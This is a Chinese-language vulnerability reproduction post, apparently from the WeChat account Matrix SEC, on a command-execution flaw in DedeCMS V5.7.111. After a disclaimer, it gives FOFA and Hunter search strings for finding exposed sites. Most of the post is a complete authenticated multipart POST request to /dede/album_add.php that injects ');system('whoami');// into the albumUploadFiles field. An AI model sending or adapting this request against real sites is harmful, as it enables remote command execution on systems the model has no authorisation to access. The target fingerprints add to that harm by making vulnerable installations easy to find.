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0x01 免责声明
请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失，均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习，一切不良后果与文章作者无关。使用者应该遵守法律法规，并尊重他人的合法权益。
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0x02 影响版本
DedeCMS V5.7.111
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0x03 网络测绘
fofa:
body="DedeCMS_V57_UTF8_SP2"hunter:
web.body="DedeCMS_V57_UTF8_SP2"-
0x04 漏洞复现
复现条件: 需要登陆
POST /dede/album_add.php HTTP/1.1Host: 127.0.0.1Content-Length: 3922Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySN7cGav43uRQL9eUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/dede/album_add.php?channelid=2&cid=0Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie:Connection: close------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="channelid"2------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="cid"0------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="imagebody"粘贴到这里...------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="dopost"save------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="maxwidth"800------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="albumUploadFiles"[{"name":"');system('whoami');//","remark":"something"}]------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="title"test------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="shorttitle"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="redirecturl"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="tags"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="weight"93------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="picname"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="litpic"; filename=""Content-Type: application/octet-stream------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="typeid"13------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="typeid2"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="dede_addonfields"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="pagestyle"2------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="row"3------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="col"4------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="ddmaxwidth"200------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="pagepicnum"12------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="isrm"1------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="zipfile"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="delzip"1------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="copysource"http://------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="body"<p><br></p>------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="source"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="writer"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="notpost"0------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="click"122------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="sortup"0------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="color"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="arcrank"0------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="ishtml"1------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="pubdate"2023-10-01 13:38:47------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="money"0------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="keywords"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="description"------WebKitFormBoundarySN7cGav43uRQL9eUContent-Disposition: form-data; name="filename"------WebKitFormBoundarySN7cGav43uRQL9eU--
原文始发于微信公众号（Matrix SEC）：【漏洞复现】DedeCMS V5.7.111 命令执行漏洞
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